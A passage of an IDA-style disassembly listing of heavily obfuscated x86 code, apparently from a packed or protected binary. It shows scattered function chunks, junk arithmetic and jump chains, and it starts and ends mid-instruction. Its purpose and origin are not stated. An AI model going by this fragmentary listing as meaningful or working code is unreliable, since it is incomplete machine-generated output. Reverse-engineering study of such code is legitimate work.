CHUNK AT 005A61B7 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005A62AB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A691E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A72E5 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A732D SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A767E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A893C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A8E55 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A91C6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A99B5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AC833 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005ACA85 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005ACF3A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AD26A SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005AD94F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005ADF1C SIZE 00000025 BYTES push ebx jmp loc_5A91C6 sub_5A2E28 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A60F3 loc_5A2E2E: ; CODE XREF: sub_5A60F3+Dj mov edx, esp add edx, 4 sub edx, 4 jmp loc_5A596F ; END OF FUNCTION CHUNK FOR sub_5A60F3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5A2E41 proc near ; CODE XREF: sub_5A9EB4-AA27j var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00599BA8 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0059A36D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059BA9D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0059BED0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059C725 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059DD1D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059E50D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059E8AE SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0059EA40 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059EB19 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059F579 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A0B58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A1D23 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A204C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A209B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A341F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A3B08 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A3C37 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A478F SIZE 00000040 BYTES ; FUNCTION CHUNK AT 005A5098 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A5141 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A5FBC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A659F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A74D6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A7754 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A7E77 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A8675 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A94A7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AA7DF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AB685 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AC310 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AC9E5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AD034 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AE260 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005AF88C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AFB59 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AFBC6 SIZE 00000044 BYTES ; FUNCTION CHUNK AT 005B0011 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005B0124 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005B030D SIZE 0000000B BYTES push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] mov esp, [esp+0] mov [esp+0], ebp mov ebp, 623D4B76h xor [edx+38h], ebp pop ebp push 34DBh mov [esp+0], ecx mov ecx, 4E24247h sub [edx+38h], ecx mov ecx, [esp+0] add esp, 4 xor dword ptr [edx+38h], 2C4C39DAh loc_5A2E82: ; CODE XREF: sub_5A2E28-434Aj sub esp, 4 mov [esp+0], ebx push 17677DAAh push [esp+4+var_4] push [esp+8+var_8] pop ebx add esp, 4 push 270Fh mov [esp+8+var_8], ebp sub esp, 4 jmp loc_5A3C37 sub_5A2E41 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A2EA7: ; CODE XREF: sub_5B01F7-491Fj add edx, 69935E05h xor edx, 9193F620h jmp loc_59EF23 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A2EB8: ; CODE XREF: sub_5A0FFF+9F63j pop esp jmp loc_5A24F5 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- loc_5A2EBE: ; CODE XREF: sdfs____:005A63B7j push edi push 418125B5h pop edi xor edi, 0F41B89h jmp loc_5A0D98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2ED0: ; CODE XREF: sub_5AA2D1-E406j add eax, 0F1F511Eh sub eax, ecx sub eax, 0F1F511Eh push edi mov edi, 51C4561Dh add edi, 71DF512Eh jmp loc_5AD55D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A2EED: ; CODE XREF: sub_5992DA+60A5j sub ecx, 0E344CF1h and ecx, 1EFE3C45h jnp loc_59A1F4 shr ecx, 8 jnz loc_5A78D0 and al, 0ABh loc_5A2F0A: ; CODE XREF: sub_5A8215+7A14j sub edx, 0CE3179F2h xor esi, edx pop edx neg esi jmp loc_5A7F27 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2F1A: ; CODE XREF: sub_5AA2D1-33B1j pop ebp sub ebx, 0F4983E92h sub ebp, ebx pop ebx push 7B2h mov [esp-8+arg_4], ebp jmp loc_5AC181 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A35F6 loc_5A2F31: ; CODE XREF: sub_5A35F6+B389j mov [esp+0], edx mov edx, esp jmp sub_5A3CF9 ; END OF FUNCTION CHUNK FOR sub_5A35F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A2F3B: ; CODE XREF: sub_5B01F7-C09Fj pop eax sub esp, 4 jmp loc_5A4FBC ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A2F44: ; CODE XREF: sub_5992DA+8C9j mov edx, edi mov edi, [esp+14h+var_14] jmp loc_5A1600 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A2F4E: ; CODE XREF: sub_5A9EBF-29EEj push 395Fh jmp loc_5B003D ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; =============== S U B R O U T I N E ======================================= sub_5A2F58 proc near ; DATA XREF: sdfs____:00599054o var_6 = word ptr -6 ; FUNCTION CHUNK AT 0059C633 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A0906 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A3780 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A3B9E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A97A2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005AECF6 SIZE 00000009 BYTES lodsb push cx mov ch, 6Bh jmp loc_5A0906 sub_5A2F58 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5A2F62: ; CODE XREF: sub_59A9E9+41E7j dec ebp jmp loc_5A053F ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5A2F68: ; CODE XREF: sub_5AD6D4-BD75j ; sub_5A522E+4C76j not ebx push esi push eax mov eax, 13F54BD5h mov esi, 68C02DC5h xor esi, eax pop eax inc esi jmp loc_59B436 ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5A2F7F: ; CODE XREF: sub_599A61+9j push edx mov edx, 4751134Dh shl edx, 5 jp loc_5A675C not edx add edx, 10A15693h mov edx, edx mov eax, eax loc_5A2F9A: ; CODE XREF: sub_59CBE1+95B4j ; sub_5AB622-31Bj push eax mov eax, 61456FF5h shl eax, 7 jmp sub_59FE51 ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21A4 loc_5A2FA8: ; CODE XREF: sub_5A21A4-85BFj pop ebp jmp loc_5A9A45 ; END OF FUNCTION CHUNK FOR sub_5A21A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A2FAE: ; CODE XREF: sub_5A6BBC+762Dj add esp, 4 add eax, 4 push 6FE0h mov [esp+0], eax push [esp+arg_0] jmp loc_5A6595 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- lodsd jmp loc_5AD366 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A2FCE: ; CODE XREF: sub_5A2E28-4325j inc edi not edi sub edi, 0F9C0686Eh push ecx mov ecx, 1A1C0C96h dec ecx dec ecx xor ecx, eax xor eax, ecx jmp loc_59FC77 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A2FE8: ; CODE XREF: sub_5A79BE-B9DCj push ecx jmp loc_5A9582 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A2FEE: ; CODE XREF: sub_5992DA+12483j mov edx, [esp+14h+var_14] add esp, 4 add ebp, 4 xchg ebp, [esp+10h+var_10] pop esp jmp loc_5A6F0D ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA5F6 loc_5A3006: ; CODE XREF: sub_5AA5F6-1076Fj push ecx jmp loc_5AADB5 ; END OF FUNCTION CHUNK FOR sub_5AA5F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5A300C: ; CODE XREF: sub_5A63DC-8504j add esi, 4 sub esi, 4 xchg esi, [esp+4+var_4] pop esp mov [esp+0], ecx mov ecx, 200000h and eax, ecx jmp loc_5AF26B ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A302B: ; CODE XREF: sub_5AA2D1-36E1j mov edx, 23A3310Fh shr edx, 8 jmp loc_5AC3FA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A3038: ; CODE XREF: sub_59D6B8+DF37j push edx jmp loc_59B91B ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A303E: ; CODE XREF: sub_59C979+250Dj add esp, 4 push edx mov dh, 0B5h shl dh, 4 jmp loc_5AD601 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- loc_5A304F: ; CODE XREF: sdfs____:005AC65Ej sub esp, 4 mov [esp], esi jmp loc_5AFA9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A305D: ; CODE XREF: sub_5AA2D1-964Bj add ebx, 126C005Eh jmp loc_5ACB68 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5A3068: ; CODE XREF: sub_59FC02+7FC2j sub eax, 719C38D2h pop ebx jmp loc_5AC5AC ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3073: ; CODE XREF: sub_5AA2D1-4B7Fj push [esp+arg_0] mov edx, [esp+4+var_4] add esp, 4 jmp loc_5AAFD7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A3085: ; CODE XREF: sdfs____:005A30CDj push 2506h mov [esp], eax push 634010ADh mov eax, [esp] add esp, 4 jmp loc_59E591 ; --------------------------------------------------------------------------- loc_5A309D: ; CODE XREF: sdfs____:005A5878j pop eax add esp, 4 push 7365h mov [esp], ecx jmp loc_5A179E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A30B1: ; CODE XREF: sub_59CBE1-1586j mov eax, 49446F9Fh or eax, 3CF03FC8h jmp loc_5A1270 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- mov cx, [esp] push edi mov edi, esp sub esp, 4 mov [esp], ebx jmp loc_5A3085 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFD37 loc_5A30D2: ; CODE XREF: sub_5AFD37-B6E9j jnb loc_5ABA61 jmp loc_5A93DE ; END OF FUNCTION CHUNK FOR sub_5AFD37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B3C9 loc_5A30DD: ; CODE XREF: sub_59B3C9+7CFj jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59B3C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A30E2: ; CODE XREF: sub_5992DA+1554j not eax not eax jmp loc_599459 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A54BA loc_5A30EB: ; CODE XREF: sub_5A54BA-2A6j pop ebp inc ebx jmp loc_59B794 ; END OF FUNCTION CHUNK FOR sub_5A54BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5A30F2: ; CODE XREF: sub_5AA810-84A0j add esp, 4 pop edx jmp loc_59D559 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A30FE: ; CODE XREF: sub_5A118F+AB6j add ebx, 4ECC9DC7h push ebx pop ecx mov ebx, [esp+0] add esp, 4 jmp loc_59B757 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_5A3114: ; CODE XREF: sub_59FE51-6401j xchg edi, [esp+0] jmp loc_5A9F27 ; END OF FUNCTION CHUNK FOR sub_59FE51 ; =============== S U B R O U T I N E ======================================= sub_5A311C proc near ; CODE XREF: sub_5A7BEB+6570j ; DATA XREF: sdfs____:00599090o var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A26C1 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A9DEF SIZE 0000002F BYTES push dword ptr [esp+0] mov ecx, [esp+4+var_4] jmp loc_5A9DEF sub_5A311C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3127: ; CODE XREF: sub_5AA2D1+4C7Ej push 1365h mov [esp+4+var_4], ecx jmp loc_5AB6E3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BEB loc_5A3134: ; CODE XREF: sub_5A7BEB+4j push ecx push ebx push ecx mov cl, 0BBh neg cl neg cl jz loc_5AE14D add cl, 92h add cl, 12h ja sub_59FB1A push bx jmp loc_5A6D72 ; END OF FUNCTION CHUNK FOR sub_5A7BEB ; --------------------------------------------------------------------------- push 1DFF7018h pop edx not edx ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A315E: ; CODE XREF: sub_5AA2D1-EB1Ej mov ch, 9Ah jmp loc_5AEBB9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A516 loc_5A3165: ; CODE XREF: sub_59A516+ACCj mov eax, [esp+8+var_8] jmp sub_5A8CA3 ; END OF FUNCTION CHUNK FOR sub_59A516 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BA35 loc_5A316D: ; CODE XREF: sub_59BA35+E733j push ecx jmp loc_59E358 ; END OF FUNCTION CHUNK FOR sub_59BA35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3173: ; CODE XREF: sub_5AA2D1-9D3Dj add eax, edx jmp loc_5ACFA3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A317A proc near ; CODE XREF: sub_5AA2D1-B6A1j ; sub_5A2E41:loc_5AA7DFj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059BF7D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059FCD2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AB7A1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005ACAB8 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005AECA8 SIZE 0000002A BYTES sub esp, 4 mov [esp+4+var_4], esp push ebx mov ebx, 4 add [esp+8+var_4], ebx pop ebx pop [esp+4+var_4] add dword ptr [esp+0], 4 push dword ptr [esp+0] jmp loc_5AB7A1 sub_5A317A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A319D: ; CODE XREF: sub_5A118F+33B9j shl bh, 7 add bh, 0C3h or dh, bh jmp loc_59AC4F ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A31AA: ; CODE XREF: sub_5AA2D1-2635j pop ecx sub esi, ebp sub esi, 3CA277EDh pop ebp push 5457h mov [esp+0], ebx mov ebx, 763A271Ch shr ebx, 8 add ebx, 33553BA0h js loc_5A45B0 shl ebx, 7 jnp loc_5AB36D not ebx jmp sub_59FC02 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- add esp, 4 add edx, ebx push ebx ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A31E6: ; CODE XREF: sub_59C979+9A5Ej add esp, 4 push edi sub esp, 4 jmp loc_59E4D3 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5A31F5: ; CODE XREF: sub_599A61+9C33j pop esi sub eax, 1 push ebx mov ebx, 153F2271h add ebx, 29160A9h jmp loc_5ADFE0 ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A320C: ; CODE XREF: sub_5992DA+1326Dj push edi mov edi, 5AAF3590h mov ebp, 772802DEh xor ebp, edi pop edi xor ebx, ebp pop ebp jmp loc_59A781 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3222: ; CODE XREF: sub_5AA2D1-BC81j pop ebp not ebp add ebp, 178D30E5h jmp loc_5AF4D1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_5A3230: ; CODE XREF: sub_59FE51+Bj pop eax add edi, 93E227Bh add edi, esi sub edi, 93E227Bh jmp loc_599A46 ; END OF FUNCTION CHUNK FOR sub_59FE51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5A3244: ; CODE XREF: sub_5AC803-B630j ; sub_59AD5D+9102j mov dl, ah jmp loc_599DAB ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A324B: ; CODE XREF: sub_5992DA+EAECj dec edx jmp loc_59C1F7 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3251: ; CODE XREF: sub_5AA2D1-7CC7j add esp, 4 sub cl, 0D2h add cl, dl jmp loc_5AB0AD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A3261 proc near ; DATA XREF: sdfs____:00598E54o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599F95 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0059CAB5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059CE45 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059E2C3 SIZE 00000017 BYTES mov cx, [esp+0] push 4043h mov [esp+4+var_4], ecx push esp jmp loc_59CE45 sub_5A3261 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3273: ; CODE XREF: sub_5AA2D1+33Ej add esp, 4 dec bl xchg al, bl jmp loc_5ACA13 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5A3282: ; CODE XREF: sub_59F4D2+8DF7j sub ebp, 28090208h jp loc_5A22F9 neg ebp jbe loc_5A0C2A add ebp, 77D012B9h push esp ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A329D: ; CODE XREF: sub_59CBE1+39C1j mov ecx, 1EEA0D9Eh mov esi, 1F0E01B4h jmp loc_59CA61 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CE13 loc_5A32AC: ; CODE XREF: sub_59CE13+5E3j mov eax, 68E43CC5h not eax inc eax add eax, 0E63FA524h jmp loc_5A080C ; END OF FUNCTION CHUNK FOR sub_59CE13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5A32BE: ; CODE XREF: sub_5A77D5+41EAj mov eax, 5EF3DB3h add edx, eax jmp loc_5A5F94 ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_5A32CA: ; CODE XREF: sub_5A0924+11j mov ebx, [esp+8+var_8] add esp, 4 push ebx jmp loc_5A4C6E ; END OF FUNCTION CHUNK FOR sub_5A0924 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A32D9: ; CODE XREF: sub_5AA2D1-EF32j mov [esp+0], ebp mov ebp, 572A1DCDh add ebp, 52853A1h push ebx sub esp, 4 mov [esp+6+var_8+2], edx mov edx, 5CD95F81h or edx, 7E7A0279h xor edx, 390D6CE2h neg edx jo loc_5AC50D neg edx jp loc_5AD716 shr edx, 1 add edx, 3C5306F3h jmp sub_5A6EE8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- mov bh, 61h ; START OF FUNCTION CHUNK FOR sub_5A917C loc_5A3321: ; CODE XREF: sub_5A917C-9E81j pop esi pop [esp+10h+var_10] mov esp, [esp+0Ch+var_C] or edx, eax shl edx, 1 push ecx mov ecx, esp push 55C8h mov [esp-4+arg_0], ebx sub esp, 4 mov [esp+0], ecx push 1A7A565Ah jmp loc_5AE803 ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- loc_5A3347: ; CODE XREF: sdfs____:005AC538j add esi, 4 jmp loc_5AA2BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B2E4 loc_5A3352: ; CODE XREF: sub_59B2E4+1412Dj mov ecx, 4 add [esp+4], ecx mov ecx, [esp+4+var_4] push ebx push esp pop ebx push 1426h jmp loc_5A01D8 ; END OF FUNCTION CHUNK FOR sub_59B2E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5A336B: ; CODE XREF: sub_59F1F3:loc_5AAE6Cj dec edi jmp loc_5AD546 ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3371: ; CODE XREF: sub_5AA2D1+476Aj push ecx mov ch, 0D0h add dh, ch jmp loc_599477 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_5A337B: ; CODE XREF: sub_5A0924+9B82j not eax jmp loc_59B1A9 ; END OF FUNCTION CHUNK FOR sub_5A0924 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5A3382: ; CODE XREF: sub_59A479+9BE1j pop edi push eax mov eax, 7EF67FA9h inc eax push 6A50h mov [esp+8+var_8], edi jmp sub_5AF6AC ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABB65 loc_5A3397: ; CODE XREF: sub_5ABB65+1E29j btc [esp+0], ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5ABB65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A33A2: ; CODE XREF: sub_5A9CF2+2j ; sub_5992DA+116F2j not byte ptr [esp+20h+var_22+3] pop bx inc bh js loc_5A5987 add bh, 0CFh sub esp, 4 mov [esp+22h+var_22], eax push ebp loc_5A33BD: ; CODE XREF: sub_5A4886-8BACj mov edx, 7172711Eh sub edx, ecx jmp loc_5AD73A ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_5A33C9: ; CODE XREF: sub_59FE51+5BD6j xor esi, [esp-8+arg_4] xor [esp-8+arg_4], esi xor esi, [esp-8+arg_4] pop esp push edx push 781Ch mov [esp-4+arg_0], ebx mov ebx, 7ACA62CCh push edi mov edi, 7ACA62C8h xor ebx, edi pop edi mov edx, ebx pop ebx jmp loc_59A008 ; END OF FUNCTION CHUNK FOR sub_59FE51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3C19 loc_5A33F2: ; CODE XREF: sub_5A3C19-7590j mov edi, [esp-4+arg_0] add esp, 4 add esp, 4 sub ecx, 4 push ecx push [esp-8+arg_8] jmp loc_5AB17F ; END OF FUNCTION CHUNK FOR sub_5A3C19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5A340E: ; CODE XREF: sub_59F02F-3119j add esp, 4 push edi mov edi, 13753432h jmp loc_5A2BF7 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A341F: ; CODE XREF: sub_5A2E41-4574j add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp jmp loc_5AF88C ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A3431: ; CODE XREF: sub_5AA2D1-C351j add edi, esi jmp loc_59F9F8 ; --------------------------------------------------------------------------- loc_5A3438: ; CODE XREF: sub_5AA2D1-997Aj mov esp, [esp+4+var_4] add al, bl sub esp, 4 mov [esp+8+var_8], ebx push edx mov dh, 40h jmp loc_5AA608 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5A344E: ; CODE XREF: sub_5AD795-3535j xor al, 0CEh sub al, 7Ch sub cl, 8 add cl, al add cl, 8 pop eax sub cl, dl sub cl, 0FCh pop edx and al, cl jmp loc_5AEFC1 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_5A3468: ; CODE XREF: sub_5A8215-DF2Fj mov ebx, 6B516DC6h shl ebx, 6 shr ebx, 7 neg ebx neg ebx push edi mov edi, 5C84C12Ah add ebx, edi pop edi and esi, ebx pop ebx not esi sub esi, 0FFFFFFFFh sub esi, 908AF081h add ebp, 444B2B69h add ebp, esi sub 